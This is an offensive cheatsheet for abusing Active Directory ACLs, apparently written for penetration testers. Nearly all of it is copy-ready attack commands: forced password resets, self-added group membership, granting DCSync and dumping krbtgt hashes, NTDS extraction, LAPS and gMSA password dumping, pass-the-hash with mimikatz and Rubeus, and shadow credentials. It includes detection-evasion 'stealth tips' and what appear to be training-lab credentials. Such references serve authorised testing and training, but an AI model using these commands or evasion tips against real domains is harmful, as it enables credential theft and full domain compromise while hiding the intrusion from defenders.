Skip to content

Active Directory ACL Abuse Cheatsheet

Overview

Access Control Lists (ACLs) in Active Directory

ACLs define permissions for AD objects through Access Control Entries (ACEs). Each ACE contains:

  • Security Identifier (SID): Who has the permission
  • Access Mask: What permissions they have
  • Object Type: What object the permission applies to
  • Inheritance Flags: How permissions propagate to child objects

Access Rights Reference

Generic Access Rights

Generic Rights Table

Access Right Common Name Hex Value Description
GenericAll GA 0x10000000 Full control - Create/delete objects, read/write all properties
GenericWrite GW 0x40000000 Write properties, validated writes
GenericExecute GX 0x20000000 Read permissions, list contents
GenericRead GR 0x80000000 Read all properties and permissions

Standard Access Rights

Standard Rights Table

Access Right Common Name Hex Value Impact
WriteDacl WD 0x00040000 Modify object's DACL - Grant yourself any permission
WriteOwner WO 0x00080000 Change object owner - Take ownership
ReadControl RC 0x00020000 Read security descriptor
Delete DE 0x00010000 Delete the object

Extended Rights (Abusable)

High-Impact Extended Rights

Extended Right Rights-GUID Attack Path
User-Force-Change-Password 00299570-246d-11d0-a768-00aa006e0529 Reset password without knowing current
DS-Replication-Get-Changes 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 DCSync (needs both)
DS-Replication-Get-Changes-All 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 DCSync (needs both)
Self-Membership bf9679c0-0de6-11d0-a285-00aa003049e2 Add self to groups
Validated-SPN f3a64788-5306-11d1-a9c5-0000f80367c1 Set SPNs for Kerberoasting

ACL Enumeration Techniques

PowerShell Native Commands

Native PowerShell ACL Enumeration

# Get ACL for a user object
$acl = Get-Acl "AD:CN=<username>,CN=Users,DC=<domain>,DC=<tld>"

# Find specific user's permissions
$acl.Access | Where-Object {$_.IdentityReference -like "*<target-user>*"}

# Check who has GenericAll on Domain Admins
$acl = Get-Acl "AD:CN=Domain Admins,CN=Users,DC=<domain>,DC=<tld>"
$acl.Access | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"}

Requirements

  • Domain-joined machine or runas /netonly
  • RSAT tools installed
  • Valid domain credentials

PowerView Enumeration

PowerView ACL Hunting

# Import PowerView
. .\PowerView.ps1

# Get user's SID
$sid = (Get-DomainUser -Identity <username>).objectsid

# Find what rights user has on target
Get-DomainObjectAcl -Identity <target> | ?{$_.SecurityIdentifier -eq $sid}

# Find all objects where user has GenericAll
Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $sid -and $_.ActiveDirectoryRights -match "GenericAll"}

# Find all WriteDacl rights for user
Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $sid -and $_.ActiveDirectoryRights -match "WriteDacl"}

# Find interesting ACLs on Domain Admins group
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner"}

Pro Tip

Use -ResolveGUIDs to convert GUIDs to human-readable names

Linux-Based Enumeration

impacket-dacledit

Dacledit Usage

# Check user's rights on specific target
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <target-object>

# Check rights on computer object (add $ suffix)
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <computer>$

# Check rights on group
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target "Domain Admins"

# With NTLM hash
impacket-dacledit <domain>/<user> -hashes :<nthash> -principal <user> -target <target>

Common Issues

  • Computer accounts need $ suffix
  • Group names with spaces need quotes
  • Case sensitive for some operations

BloodyAD

BloodyAD ACL Enumeration

# Get object details including nTSecurityDescriptor
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> get object <target>

# Get writable objects for user
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> get writable

# Check specific permissions
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> get object <target> --attr nTSecurityDescriptor

ACL Exploitation Techniques

GenericAll Abuse

GenericAll = Full Control

# On User: Reset password
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> set password <target-user> <new-password>

# On Group: Add member
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> add groupMember <group> <user>

# On Computer: RBCD attack
impacket-rbcd <domain>/<user>:'<password>' -delegate-to <target-computer>$ -delegate-from <controlled-computer>$ -action write

WriteDacl Abuse

WriteDacl = Grant Yourself Any Permission

# Grant GenericAll to yourself
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <target> -action write -rights GenericAll

# Grant DCSync rights
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <domain> -action write -rights DCSync

WriteOwner Abuse

WriteOwner = Become Owner

# Take ownership
impacket-owneredit <domain>/<user>:'<password>' -target <target> -action write -new-owner <user>

# After ownership, grant yourself GenericAll
impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <target> -action write -rights GenericAll

# Add WriteMembers:
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'mathew' -target-dn 'CN=NETWORK ADMINS,CN=USERS,DC=INLANEFREIGHT,DC=LOCAL' inlanefreight.local/'mathew':'ilovejesus'

AllExtendedRights Abuse

AllExtendedRights on User = Password Reset

# Reset password without knowing current
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> set password <target-user> <new-password>

# Alternative with rpcclient
rpcclient -U '<domain>/<user>%<password>' <dc-ip> -c "setuserinfo2 <target-user> 23 <new-password>"

Self-Membership Abuse

Self-Membership = Add Yourself to Groups

# Add yourself to group
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> add groupMember <group> <user>

# Verify membership
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> get object <group> --attr member

Privilege Escalation Paths

Path to Domain Admin

Common ACL Attack Chains

  1. GenericAll on User → Domain Admin

    # Reset DA password
    bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> set password <da-user> <new-pass>
    

  2. WriteDacl on Domain → DCSync

    # Grant DCSync rights
    impacket-dacledit <domain>/<user>:'<password>' -principal <user> -target <domain> -action write -rights DCSync
    
    # Perform DCSync
    impacket-secretsdump <domain>/<user>:'<password>'@<dc-ip>
    

  3. Self-Membership on Privileged Group → Escalation

    # Add to Backup Operators
    bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> add groupMember "Backup Operators" <user>
    
    # Dump NTDS
    nxc smb <dc-ip> -u <user> -p <password> --ntds --user Administrator
    

Backup Operators Exploitation

Backup Operators = NTDS Access

# After adding yourself to Backup Operators

# Method 1: NetExec
nxc smb <dc-ip> -u <user> -p <password> --ntds --user Administrator

# Method 2: Reg save (requires RDP/WinRM)
reg save HKLM\SYSTEM system.hive
reg save HKLM\SAM sam.hive
reg save HKLM\SECURITY security.hive

# Method 3: Direct file copy
robocopy /b C:\Windows\NTDS\ .\NTDS\ ntds.dit

Detection Risk

Backup Operators abuse is heavily monitored. Event IDs 4672, 4624 with Backup privilege usage.


Tool Setup

Required Tools Installation

Essential Tools Setup

# Impacket suite
git clone https://github.com/SecureAuthCorp/impacket
cd impacket && pip3 install .

# BloodyAD
pip3 install bloodyAD

# Targeted Kerberoast (for ACL-based Kerberoasting)
git clone https://github.com/ShutdownRepo/targetedKerberoast
cd targetedKerberoast && pip3 install -r requirements.txt

# NetExec
pip3 install netexec

Quick Reference Matrix

ACL Abuse Quick Decision Tree

If You Have... On Object Type... You Can... Command
GenericAll User Reset Password bloodyAD set password
GenericAll Group Add Members bloodyAD add groupMember
GenericAll Computer RBCD Attack impacket-rbcd
WriteDacl Any Grant Any Right impacket-dacledit
WriteOwner Any Take Ownership impacket-owneredit
AllExtendedRights User Reset Password bloodyAD set password
AllExtendedRights Domain DCSync impacket-secretsdump
Self-Membership Group Add Yourself bloodyAD add groupMember
WriteProperty User Set SPN bloodyAD set object

OPSEC Considerations

Detection & Prevention

High-Risk Operations:

  • DCSync triggers event 4662 with GUIDs
  • Password resets log event 4724
  • Group membership changes log event 4728/4732
  • DACL modifications log event 4670

Stealth Tips:

  • Use existing SPNs for Kerberoasting instead of setting new ones
  • Prefer reading existing data over modifications
  • Time operations during business hours
  • Clean up added permissions after use

Password Abuse Attacks

ForceChangePassword Exploitation

Understanding ForceChangePassword

The User-Force-Change-Password extended right allows resetting passwords without knowing the current one. This right is included in: - GenericAll (Full Control) - AllExtendedRights - User-Force-Change-Password (00299570-246d-11d0-a768-00aa006e0529)

Enumeration

BloodHound Query for Password Reset Rights

# Find who can reset passwords
MATCH p=((n:User {name:"<USER>@<DOMAIN>"})-[r:ForceChangePassword|GenericAll|AllExtendedRights]->(m)) RETURN p

# Find all password reset paths
MATCH p=((n)-[r:ForceChangePassword|GenericAll|AllExtendedRights]->(m:User)) RETURN p

Linux Enumeration with dacledit

# Check specific user's rights
python3 dacledit.py -principal <user> -target <target-user> -dc-ip <dc-ip> <domain>/<user>:'<password>'

# Look for these access masks:
# - ControlAccess with GUID 00299570-246d-11d0-a768-00aa006e0529 (ForceChangePassword)
# - FullControl (0xf01ff)
# - AllExtendedRights (0x100)

Windows Enumeration with PowerView

# Without GUID resolution
$userSID = (Get-DomainUser -Identity <user>).objectsid
Get-DomainObjectAcl -Identity <target> | ?{$_.SecurityIdentifier -eq $userSID}

# With GUID resolution (readable output)
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID}
# Look for: User-Force-Change-Password

Exploitation

Linux - Password Reset Methods

# Method 1: net command
net rpc password <target-user> <new-password> -U <domain>/<user>%'<password>' -S <dc-ip>

# Method 2: rpcclient
rpcclient -U <domain>/<user>%'<password>' <dc-ip>
rpcclient $> setuserinfo2 <target-user> 23 <new-password>
rpcclient $> exit

# Method 3: BloodyAD
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set password <target-user> <new-password>

# Verify new credentials
nxc ldap <dc-ip> -u <target-user> -p '<new-password>'

Windows - Password Reset Methods

# Method 1: PowerView
Set-DomainUserPassword -Identity <target-user> -AccountPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force) -Verbose

# Method 2: Active Directory Module
Import-Module ActiveDirectory
Set-ADAccountPassword <target-user> -NewPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force) -Reset -Verbose

ReadLAPSPassword Exploitation

LAPS Overview

Local Administrator Password Solution stores randomized local admin passwords in AD:

  • Password stored in ms-MCS-AdmPwd attribute
  • Expiration in ms-MCS-AdmPwdExpirationTime
  • Protected by ACLs - only authorized users can read
  • Rotates every 30 days by default

Enumeration

BloodHound Query for LAPS

# Find who can read LAPS passwords
MATCH p=((n)-[r:ReadLAPSPassword]->(m)) RETURN p

# Find LAPS paths from owned users
MATCH p=shortestPath((n {owned:true})-[*1..]->(m)) WHERE m.haslaps=true RETURN p

Linux Enumeration

# dacledit (won't show group memberships)
python3 dacledit.py -principal '<group-name>' -target '<computer>' -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Look for: ReadProperty on GUID de4ae365-abab-4cd0-a85a-682150772084

# BloodyAD - Check LAPS configuration
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get object '<computer>' --attr ms-MCS-AdmPwd

Windows Enumeration with PowerView

# Check group permissions on computer
$group = Get-DomainGroup -Identity "LAPS Readers"
Get-DomainObjectAcl -Identity <computer> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $group.objectsid}
# Look for: ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime

Exploitation

Linux - LAPS Password Dumping

# Method 1: LAPSDumper (recommended)
git clone https://github.com/n00py/LAPSDumper
cd LAPSDumper
python3 laps.py -u <user> -p '<password>' -l <dc-ip> -d <domain>

# Dump specific computer
python3 laps.py -u <user> -p '<password>' -l <dc-ip> -d <domain> -c <computer>

# Method 2: BloodyAD
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get object '<computer>' --attr ms-MCS-AdmPwd

# Method 3: NetExec
nxc ldap <dc-ip> -u <user> -p '<password>' -M laps

Windows - LAPS Password Dumping

# Method 1: PowerView
Get-DomainObject -Identity <computer> -Properties "ms-mcs-AdmPwd",name

# Method 2: ActiveDirectory Module
Get-ADComputer -Identity <computer> -Properties "ms-mcs-AdmPwd",name

# Dump all LAPS passwords (only shows what you can read)
Get-DomainComputer -Properties name | ForEach-Object {
    $computer = $_.name
    $obj = Get-DomainObject -Identity $computer -Properties "ms-mcs-AdmPwd",name -ErrorAction SilentlyContinue
    if($obj.'ms-mcs-AdmPwd'){
        Write-Output "${computer}: $($obj.'ms-mcs-AdmPwd')"
    }
}

Using LAPS Credentials

# Connect as local admin
evil-winrm -i <computer-ip> -u Administrator -p '<laps-password>'
impacket-psexec Administrator:'<laps-password>'@<computer-ip>
nxc smb <computer-ip> -u Administrator -p '<laps-password>' --local-auth

ReadGMSAPassword Exploitation

gMSA Overview

Group Managed Service Accounts provide automated password management:

  • Passwords auto-generated and rotated by DC
  • 256-character random passwords
  • Stored in msDS-ManagedPassword attribute
  • Access controlled via msDS-GroupMSAMembership
  • No manual password management needed

Enumeration

BloodHound Query for gMSA

# Find who can read gMSA passwords
MATCH p=((n)-[r:ReadGMSAPassword]->(m)) RETURN p

# Find gMSA accounts
MATCH (n:User) WHERE n.serviceprincipalname IS NOT NULL AND n.name ENDS WITH ' RETURN n

Limitation

dacledit.py cannot enumerate ReadGMSAPassword privilege - use BloodHound or direct LDAP queries

Exploitation

Linux - gMSA Password Dumping

# Method 1: gMSADumper (recommended)
git clone https://github.com/micahvandeusen/gMSADumper
cd gMSADumper
python3 gMSADumper.py -d <domain> -l <dc-ip> -u <user> -p '<password>'

# Output format:
# <gmsa-account>$:::<NTLM-hash>
# <gmsa-account>$:aes256-cts-hmac-sha1-96:<AES256-hash>
# <gmsa-account>$:aes128-cts-hmac-sha1-96:<AES128-hash>

# Method 2: BloodyAD
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get object '<gmsa-account>' --attr msDS-ManagedPassword

# Validate harvested hashes
nxc ldap <dc-ip> -u '<gmsa-account>' -H <ntlm-hash>

Windows - gMSA Password Dumping

# Method 1: GMSAPasswordReader
GMSAPasswordReader.exe --accountname <gmsa-account>
# Outputs both old and current password hashes

# Method 2: DSInternals PowerShell Module
Install-Module DSInternals
$gmsa = Get-ADServiceAccount -Identity <gmsa-account> -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp

# Method 3: Native AD Module (requires membership)
Get-ADServiceAccount -Identity <gmsa-account> -Properties * | Select msDS-ManagedPassword

Using gMSA Credentials

# Linux - Pass-the-Hash
evil-winrm -i <target-ip> -u '<gmsa-account>' -H <ntlm-hash>
impacket-psexec -hashes :<ntlm-hash> '<domain>/<gmsa-account>@<target-ip>

# Windows - OverPass-the-Hash with Mimikatz
mimikatz.exe privilege::debug "sekurlsa::pth /user:<gmsa-account>$ /domain:<domain> /ntlm:<ntlm-hash> /run:powershell.exe" exit

# Windows - Rubeus
Rubeus.exe asktgt /user:<gmsa-account>$ /rc4:<ntlm-hash> /domain:<domain> /dc:<dc-ip> /ptt

WriteDACL & WriteOwner Exploitation

WriteDACL Abuse

Understanding WriteDACL

WriteDACL allows modifying the target's DACL to grant yourself any permission:

  • Grant DCSync rights on domain
  • Grant GenericAll on users/groups
  • Grant ResetPassword on user accounts
  • Create attack chains for privilege escalation

Enumeration

BloodHound Queries

# Find WriteDACL paths
MATCH p=((n)-[r:WriteDACL]->(m)) RETURN p

# Find WriteDACL from owned users
MATCH p=((n {owned:true})-[r:WriteDACL]->(m)) RETURN p

# Find WriteDACL to Domain
MATCH p=((n)-[r:WriteDACL]->(m:Domain)) RETURN p

Linux Enumeration

# Check WriteDACL on domain (use -target-dn for domain)
python3 dacledit.py -principal <user> -target-dn 'dc=<domain>,dc=<tld>' -dc-ip <dc-ip> <domain>/<user>:'<password>'

# Check WriteDACL on objects
python3 dacledit.py -principal <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>'

# BloodyAD - Find writable objects
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get writable --detail
# Look for "DACL: WRITE" entries

Windows Enumeration

# Check WriteDACL on domain
$userSID = ConvertTo-SID <user>
Get-DomainSID | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID}

# Check WriteDACL on specific object
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID -and $_.ActiveDirectoryRights -match "WriteDacl"}

Exploitation - Grant DCSync

Linux - Grant DCSync Rights

# Method 1: dacledit
python3 dacledit.py -principal <user> -target-dn 'dc=<domain>,dc=<tld>' -dc-ip <dc-ip> <domain>/<user>:'<password>' -action write -rights DCSync

# Verify DCSync rights were added
python3 dacledit.py -principal <user> -target-dn 'dc=<domain>,dc=<tld>' -dc-ip <dc-ip> <domain>/<user>:'<password>'

# Perform DCSync
impacket-secretsdump -just-dc-user krbtgt <domain>/<user>:'<password>'@<dc-ip>

# Method 2: BloodyAD (grant specific rights)
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' add dcsync <user>

Windows - Grant DCSync Rights

# Grant DCSync with PowerView
Add-DomainObjectAcl -TargetIdentity $(Get-DomainSID) -PrincipalIdentity <user> -Rights DCSync -Verbose

# Perform DCSync with Mimikatz
mimikatz.exe "lsadump::dcsync /domain:<domain> /user:krbtgt" exit

Exploitation - Grant Rights on Objects

Linux - Modify Object DACLs

# Grant FullControl on user/group
python3 dacledit.py -principal <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>' -action write -rights FullControl

# Grant specific rights
python3 dacledit.py -principal <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>' -action write -rights ResetPassword

# BloodyAD - Grant GenericAll
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' add genericAll '<target>' '<user>'

# After granting rights, exploit them
# Add to group
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' add groupMember '<group>' '<user>'

# Reset password
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set password '<target-user>' '<new-password>'

# Restore original DACL from backup
python3 dacledit.py -principal <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>' -action restore -file dacledit-<timestamp>.bak

Windows - Modify Object DACLs

# Grant All rights (FullControl)
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -Rights All -Verbose

# Grant specific rights
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -Rights ResetPassword
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -Rights WriteMembers

# Custom rights with GUID
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -RightsGUID <guid>

WriteOwner Abuse

Understanding WriteOwner

WriteOwner allows changing object ownership, which implicitly grants:

  • WriteDACL on the object (owners can modify their own DACLs)
  • Full control after taking ownership
  • No immediate rights shown in enumeration tools

Enumeration

BloodHound Queries

# Find WriteOwner paths
MATCH p=((n:User)-[r:WriteOwner]->(m)) RETURN p

# Find Owns relationships
MATCH p=((n)-[r:Owns]->(m)) RETURN p

# Combined Owner/WriteOwner paths
MATCH p=((n)-[r:WriteOwner|Owns*1..]->(m)) RETURN p

Tool Limitations

dacledit.py and PowerView won't show owner privileges - use BloodHound or check object security descriptor directly

Enumeration Commands

# Linux - Check WriteOwner with dacledit
python3 dacledit.py -principal <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Look for: WriteOwner (0x80000)

# Linux - Check current owner with owneredit
python3 owneredit.py -action read -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>'

# Windows - Check WriteOwner
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "WriteOwner"}

Exploitation

Linux - WriteOwner Attack Chain

# Step 1: Download owneredit.py if not available
wget https://raw.githubusercontent.com/ShutdownRepo/impacket/owneredit/examples/owneredit.py

# Step 2: Change ownership
python3 owneredit.py -action write -new-owner <user> -target '<target>' -dc-ip <dc-ip> <domain>/<user>:'<password>'

# Step 3: Grant yourself FullControl (now that you're owner)
python3 dacledit.py -principal <user> -target '<target>' -action write -rights FullControl -dc-ip <dc-ip> <domain>/<user>:'<password>'

# Step 4: Exploit the new rights
# Reset password
net rpc password <target-user> <new-password> -U <domain>/<user>%'<password>' -S <dc-ip>

# Or with BloodyAD
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set owner '<target>' '<user>'
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' add genericAll '<target>' '<user>'
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set password '<target>' '<new-password>'

Windows - WriteOwner Attack Chain

# Step 1: Take ownership
Set-DomainObjectOwner -Identity <target> -OwnerIdentity <user> -Verbose

# Step 2: Grant yourself All rights
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -Rights All -Verbose

# Step 3: Exploit (example: reset password)
net user <target-user> <new-password> /domain

# Or with PowerView
Set-DomainUserPassword -Identity <target-user> -AccountPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force)

Complete ACL Attack Matrix

Comprehensive ACL Abuse Reference

Access Right Target Type Attack Method Requirements Tools
GenericAll User Reset Password Direct access bloodyAD set password / net rpc password
GenericAll Group Add Members Direct access bloodyAD add groupMember / Add-DomainGroupMember
GenericAll Computer RBCD Attack Control another computer impacket-rbcd / Set-DomainObject
GenericAll Domain DCSync Domain object access impacket-secretsdump / mimikatz
WriteDACL Any Grant Any Right Direct access dacledit -action write / Add-DomainObjectAcl
WriteDACL Domain Grant DCSync Domain object access dacledit -rights DCSync
WriteOwner Any Take Ownership → Full Control Two-step process ownereditdacledit
ForceChangePassword User Reset Password Extended right bloodyAD set password / Set-DomainUserPassword
AllExtendedRights User Reset Password Includes ForceChangePassword rpcclient setuserinfo2
AllExtendedRights Domain DCSync Includes replication rights impacket-secretsdump
Self-Membership Group Add Self to Group Validated write bloodyAD add groupMember
WriteProperty User Set SPN → Kerberoast Write servicePrincipalName bloodyAD set object / Set-DomainObject
WriteProperty Group Modify Members Write member attribute Add-DomainGroupMember
ReadProperty Computer Read LAPS Password ms-MCS-AdmPwd attribute LAPSDumper / Get-ADComputer
ReadGMSAPassword gMSA Dump Password Hash msDS-ManagedPassword gMSADumper / GMSAPasswordReader
User-Account-Control User Disable PreAuth → ASREPRoast Modify UAC flags Set-DomainObject -Clear
DS-Replication-Get-Changes Domain DCSync (partial) Need both replication rights Combined with Get-Changes-All
DS-Replication-Get-Changes-All Domain DCSync (complete) Need both replication rights impacket-secretsdump

Attack Chain Combinations

Initial Right Chain Final Capability
WriteOwnerWriteDACLGenericAll Take ownership, modify DACL, full control Complete object control
WriteDACLDCSync Grant replication rights Domain compromise
GenericAll on GroupMember of Admins Add self to privileged group Domain Admin
WriteProperty (SPN)Kerberoast Set SPN, request ticket Credential access
Self-MembershipBackup OperatorsNTDS Join group, abuse privileges Full domain dump
WriteDACL on GPOEdit GPO Modify Group Policy Mass compromise
GenericAll on GMSAReadGMSAPassword Grant password read Service account takeover

Quick Decision Tree

Which Attack Should I Use?

graph TD

    A[What Access Do You Have?] --> B{Right Type}
    B -->|GenericAll| C[Full Control - Any Attack]
    B -->|WriteDACL| D[Grant Yourself Any Right]
    B -->|WriteOwner| E[Take Ownership First]
    B -->|Extended Rights| F{Which Right?}
    B -->|ReadProperty| G{What Property?}

    F -->|ForceChangePassword| H[Reset Password]
    F -->|AllExtendedRights| I[Multiple Attacks]
    F -->|Self-Membership| J[Add to Groups]

    G -->|ms-MCS-AdmPwd| K[Read LAPS]
    G -->|msDS-ManagedPassword| L[Read GMSA]

    E --> M[Then Grant WriteDACL]
    M --> D

    C --> N[Choose Based on Target]
    N -->|User| O[Password Reset/Kerberoast]
    N -->|Group| P[Add Members]
    N -->|Computer| Q[RBCD/LAPS]
    N -->|Domain| R[DCSync]

OPSEC Considerations

Detection & Prevention

High-Risk Operations:

  • DCSync triggers event 4662 with GUIDs
  • Password resets log event 4724
  • Group membership changes log event 4728/4732
  • DACL modifications log event 4670
  • Ownership changes log event 4670
  • Kerberoast requests log event 4769

Medium-Risk Operations:

  • LAPS password reads (event 4662)
  • GMSA password reads (blends with service operations)
  • Group membership enumeration

Stealth Tips:

  • Use existing SPNs for Kerberoasting instead of setting new ones
  • Prefer reading existing data over modifications
  • Time operations during business hours
  • Clean up added permissions after use
  • Restore DACLs from backups after exploitation
  • Use pass-the-hash instead of password resets when possible

Tool Setup

Essential Tools Installation

# Core Impacket suite
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .

# Additional ACL tools
wget https://raw.githubusercontent.com/ShutdownRepo/impacket/owneredit/examples/owneredit.py
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/dacledit.py

# BloodyAD (comprehensive ACL toolkit)
pip3 install bloodyAD

# Targeted attack tools
git clone https://github.com/ShutdownRepo/targetedKerberoast
git clone https://github.com/n00py/LAPSDumper
git clone https://github.com/micahvandeusen/gMSADumper

# Windows tools
# Download PowerView: https://github.com/PowerShellMafia/PowerSploit
# Download Mimikatz: https://github.com/gentilkiwi/mimikatz
# Download GMSAPasswordReader: https://github.com/rvazarkar/GMSAPasswordReader

Best Practices

Methodology

  1. Enumerate First

  2. Run BloodHound collection

  3. Check all ACL relationships
  4. Identify attack paths

  5. Document Everything

  6. Save original DACLs before modification

  7. Keep dacledit backup files
  8. Screenshot critical findings

  9. Choose Stealthy Paths

  10. Prefer read operations over write

  11. Use existing privileges when possible
  12. Avoid noisy operations during monitoring hours

  13. Clean Up After

  14. Restore modified DACLs

  15. Remove added group memberships
  16. Reset temporary ownership changes

Pro Tips

  • Chain multiple ACL abuses for complex paths
  • Look for ACLs on OUs for inheritance abuse
  • Check computer accounts - often overlooked
  • Foreign principals can have ACLs too
  • Certificate templates are ACL goldmines
  • gMSA accounts often have high privileges
  • LAPS passwords are gold for lateral movement
  • WriteDACL on Domain = Game Over
  • Always check if you already own objects
  • Some tools don't show inherited permissions

Automation Scripts

Batch ACL Enumeration

#!/usr/bin/python3
import os

# Read targets from file
with open("./users.txt") as f:
    for x in f:
        user = x.strip()  # Remove newline
        # Check ACLs for each user
        os.system(f'impacket-dacledit domain/user:pass -principal attacker -target {user}')
        # Check specific attributes
        os.system(f'bloodyAD --host <dc> -d domain -u user -p pass get object {user} --attr Validated-SPN')

Extract Tokens

# Extract usernames from LDAP dump using grep
cat users.file | grep -oP '(?<=dn: CN=).*(?=,CN=)'

# Alternative with sed
sed -n '/CN=/,/CN/p' users.file

# Extract UID from GPOwned output:
#1:
proxychains4 -q python3 GPOwned.py -u gabriel -p Godisgood001 -d inlanefreight.local -dc-ip 172.16.92.10 -gpcmachine -listgpo | grep " Name:" > gps.names
#2:
cat gps.names| grep -oP '(?<=Name:).*'
#3 Cut spaces:
cat gps.names | tr -d " " > gps.formatted

# Extract Names for impacket-GetADUsers:
proxychains4 -q impacket-GetADUsers inlanefreight.local/gabriel:Godisgood001 -dc-ip 172.16.92.10 -all | awk 'NR>3 && !/^-/{print $1}' > domain.users

# Run dacledit using the lists:
#!/usr/bin/python3
import os

with open('./domain.users') as f1:
    users = [u.strip() for u in f1 if u.strip()]
with open('./gps.formatted') as f2:
    gpos = [g.strip() for g in f2 if g.strip()]
for user in users:
    print(f"User: {user}")
    for gp in gpos:
        print(f"  GPO: {gp}")
        os.system(f'proxychains4 -q impacket-dacledit inlanefreight.local/gabriel:Godisgood001 -dc-ip 172.16.92.10 -principal {user} -target-dn "CN={gp},CN=Policies,CN=System,DC=inlanefreight,DC=local"')


# Extract GPLinks from GPOwned output:
proxychains4 -q python3 GPOwned.py -u gabriel -p Godisgood001 -d inlanefreight.local -dc-ip 172.16.92.10 -gpcmachine -listgplink | grep -oE '\{[0-9A-Fa-f-]{36}\}'

Shadow Credentials Attack

Overview

Shadow Credentials Fundamentals

Shadow Credentials abuse Windows Hello for Business (WHfB) functionality by manipulating the msDS-KeyCredentialLink attribute to perform passwordless authentication via PKINIT. This technique provides:

  • Alternative to password attacks: No need for password resets or cracking
  • Stealthier than RBCD: Less monitored than Resource-Based Constrained Delegation
  • Reliable persistence: Survives password changes
  • NTLM hash extraction: Obtain hashes through U2U authentication
  • Certificate-based auth: Uses Key Trust model for passwordless authentication

Prerequisites & Requirements

Critical Prerequisites

Requirement Description How to Check
Windows Server 2016+ At least one DC running Server 2016 or above Get-ADDomain \| Select DomainMode
Domain Functional Level Must be 2016 or higher Get-ADDomainController -Filter * \| Select OperatingSystem
AD CS/PKI DC needs certificate for PKINIT Check for Certificate Authority or AD CS role
Write Access Need write on msDS-KeyCredentialLink Use BloodHound or dacledit

Shadow Credentials Enumeration

PowerView Enumeration

PowerView Shadow Credentials Hunt

# Find users with shadow credentials configured
Get-DomainUser -Filter '(msDS-KeyCredentialLink=*)' | Select samaccountname,msds-keycredentiallink

# Check who can write msDS-KeyCredentialLink on target
$userSID = (Get-DomainUser -Identity <attacker>).objectsid
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID -and $_.ObjectAceType -match "Key-Credential-Link"}

Linux Enumeration

dacledit Shadow Credentials Check

# Check specific rights on target
python3 dacledit.py -principal <attacker> -target <victim> -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Look for: GenericAll, GenericWrite, or WriteProperty on msDS-KeyCredentialLink

Shadow Credentials Exploitation

Windows with Whisker

Whisker - Windows Shadow Credentials Tool

# List existing shadow credentials
.\Whisker.exe list /target:<victim>

# Add shadow credentials (auto-generate certificate)
.\Whisker.exe add /target:<victim>
# Outputs: Certificate (Base64), Password, and Rubeus command

# Remove specific shadow credential
.\Whisker.exe remove /target:<victim> /deviceid:<device-id>

# Clear all shadow credentials (DANGEROUS!)
.\Whisker.exe clear /target:<victim>

